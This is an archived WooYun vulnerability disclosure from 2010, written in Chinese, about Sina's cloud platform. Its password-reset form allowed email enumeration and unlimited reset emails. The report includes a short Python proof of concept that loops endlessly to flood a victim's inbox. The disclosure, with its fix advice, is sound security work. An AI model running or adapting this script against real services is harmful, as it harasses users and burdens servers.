当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-0384

漏洞标题:0day:新浪云计算设计缺陷漏洞

相关厂商:新浪

漏洞作者: 路人甲

提交时间:2010-08-31 10:27

修复时间:2010-09-30 12:00

公开时间:2010-09-30 12:00

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-08-31: 细节已通知厂商并且等待厂商处理中
2010-09-06: 厂商已经确认,细节仅向厂商公开
2010-09-16: 细节向核心白帽子及相关领域专家公开
2010-09-26: 细节向普通白帽子公开
2010-10-06: 细节向实习白帽子公开
2010-09-30: 细节向公众公开

简要描述:

在"找回密码"那一项存在设计缺陷,能够发送骚扰邮件及泄漏是否存在该邮箱地址,易于受到枚举型攻击。

详细说明:

1、没有验证"姓名"和"移动电话"的正确性,只要提交了正确的"电子邮箱"即可发送找回信息。
2、如果提交了正确的邮箱会返回"请打开您的邮箱,您将收到一封标题为"SAE用户找回密码"的邮件,请按邮件中的提示完成找回密码操作."
如果提交了错误的邮箱会返回"您输入的邮箱不存在!"
从原理上讲,有可能对新浪云计算造成拒绝服务攻击。
攻击者只需要花费很少的资源,就能给服务器端和用户双方造成大量垃圾数据。

漏洞证明:

漏洞证明:python程序(POC程序功能为发送无限个"sae用户找回密码"的邮件直到把用户的邮箱撑爆!)
# coding:utf-8
# 用法 D:\>python exploit.py victim@gmail.com
import urllib2
import sys
while(1):
url = 'http://sae.sina.com.cn/?m=home&a=getpwd&email='+sys.argv[1]+'&uname=1&mobile=1'
request = urllib2.Request(url)
response = urllib2.urlopen(request)
其中victim@gmail.com是已经注册了新浪云计算的用户

修复方案:

修复建议:
1、增加对"姓名"和"手机号"的逻辑判断。
2、不要提示"您输入的邮箱不存在!"。
3、增加验证码验证功能。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2010-09-06 10:19

厂商回复:

最新状态:

暂无


漏洞评价:

评论